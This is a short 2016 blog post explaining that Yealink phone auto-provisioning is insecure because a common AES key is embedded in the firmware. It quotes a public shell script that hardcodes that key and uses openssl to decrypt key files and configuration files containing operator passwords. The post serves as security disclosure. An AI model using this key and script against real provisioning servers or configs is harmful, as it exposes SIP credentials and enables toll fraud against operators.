2016-08-25

RPS provisioning with yealink

It looks like awareness of security problems with yealink (and many other manufacturers for that matter) rised at the end of 2013:
https://freeswitch.org/raising-awareness-about-secure-phone-provisioning/
http://www.slideshare.net/sleepycal/auto-provisioning-sucks
Basically, if your phone can fetch configuration from publicly available server so can anybody else. There are no private certificates used, often no encryption of any kind at all. And what about yealink AES encryption? At first session phone fetches user-defined AES key for configuration file (y000000000000.cfg). This key is encrypted with AES and common key inside separate file (y000000000000_Security.enc).

Whiskey Tango Foxtrot

It shouldn't take long to recover common AES key either from windows/linux encryption tools provided by yealink or from phone firmware itself. Once it is known, AES key for configuration can be decrypted, then configuration can be decrypted (with operator configuration, including password) leading to toll frauds.

I know you're too lazy, I am too. Fear not, as someone found common AES key already:

# Yealink's encryption tool generates a "random" key using characters
# [a-zA-Z0-9].  It uses this key directly as a stream of bytes to
# encrypt the configuration file with AES-128-ECB.  Then it encrypts
# this key with a "common" key distributed as part of the firmware and
# the encryption tool and writes the result to a second file, also
# using AES-128-ECB.

encrypt () {
 local key="$1"
  openssl enc -aes-128-ecb -nopad \
    -K $(printf "$key" | xxd -p)
}

decrypt () {
  local key="$1"
  openssl enc -aes-128-ecb -d -nopad \
    -K $(printf "$key" | xxd -p)
}

encrypt_key () { encrypt 'EKs35XacP6eybA25'; }
decrypt_key () { decrypt 'EKs35XacP6eybA25'; }
encrypt_cfg () { encrypt "$1"; }
decrypt_cfg () { decrypt "$1"; }

test_lib () {
  printf "Test that key decryption/encryption produces identical results..."
  (decrypt_key < test/test_Security.enc | encrypt_key | diff test/test_Security.enc -) \
    && printf "Success\n" || printf "Failure\n"
  printf "Test that we produce identical encrypted configs..."
  local key=$(decrypt_key < test/test_Security.enc)
  (decrypt_cfg $key < test/test.cfg | encrypt_cfg $key | diff test/test.cfg -) \
    && printf "Success\n" || printf "Failure\n"
}



Source: https://github.com/traviscross/yealink-confenc.